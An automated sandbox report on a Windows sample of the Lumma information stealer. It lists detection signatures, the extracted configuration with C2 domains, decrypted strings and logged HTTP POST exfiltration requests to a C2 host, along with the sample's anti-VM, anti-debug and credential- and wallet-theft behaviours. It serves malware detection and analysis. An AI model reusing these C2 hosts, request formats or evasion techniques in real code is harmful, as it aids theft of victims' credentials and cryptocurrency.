Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543748
MD5:	37781614f7d738bb78329c8b6349ddd7
SHA1:	6636f742d95163909c8ed115360de9423611f66c
SHA256:	472b3c9b56aa5162c58a02063d85d481dff501a4c5ae457dd340f3693fa8fcfd
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Detected potential crypto function

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3532 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 37781614F7D738BB78329C8B6349DDD7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["thumbystriw.store", "presticitpo.store", "fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "scriptyprefej.store", "founpiuer.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2167473505.0000000000778000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2167089999.0000000000778000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2755327475.0000000000713000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3532	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 3532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3532	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:22:07.282182+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	188.114.96.3	443	TCP
2024-10-28T11:22:08.439165+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:22:07.282182+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49709	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:22:08.439165+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49710	188.114.96.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T11:23:05.750531+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49712	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.3532.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["thumbystriw.store", "presticitpo.store", "fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "scriptyprefej.store", "founpiuer.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49989 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49712 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: navygenerayk.store

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12864Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15110Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19968Host: necklacedmny.store

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2755971482.00000000008BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2739749651.0000000000713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.s
Source: file.exe, file.exe, 00000000.00000003.3036775716.0000000000784000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3025441518.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739043514.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739563870.0000000000778000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3054784312.0000000000784000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739265639.0000000000778000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2755327475.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739043514.0000000000713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2803011298.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2755327475.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/3Z
Source: file.exe, 00000000.00000003.2803011298.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/CZ
Source: file.exe, 00000000.00000003.2803011298.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/KZ
Source: file.exe, 00000000.00000003.2740534623.00000000054A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.3053652128.0000000005499000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739749651.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739219343.00000000054A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3063826120.00000000054A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.3025441518.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739043514.000000000076F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739990971.00000000054A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2738981751.00000000054A2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.3025284552.00000000054A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3063726433.0000000005499000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739448399.000000000549B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000002.3054393760.0000000000713000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3053674176.0000000000713000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiu
Source: file.exe, 00000000.00000003.2740534623.00000000054A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739219343.00000000054A9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739990971.00000000054A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2738981751.00000000054A2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739448399.000000000549B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiuM
Source: file.exe, 00000000.00000002.3054784312.0000000000784000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/k
Source: file.exe, 00000000.00000003.2803011298.000000000076F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/sZ
Source: file.exe, 00000000.00000003.3053674176.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: file.exe, 00000000.00000003.2757342715.00000000055BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2757342715.00000000055BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2167531801.00000000054E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2757212270.00000000054E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2757212270.00000000054E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2757342715.00000000055BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2757342715.00000000055BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2757342715.00000000055BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.3025186265.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2803237644.00000000054A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49989 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00720BD9	0_3_00720BD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_006FA354	0_3_006FA354

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9979856485109718

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@5/1

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2167335931.00000000054D3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167627480.00000000054B5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2739648020.00000000054D7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167664614.00000000054A2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
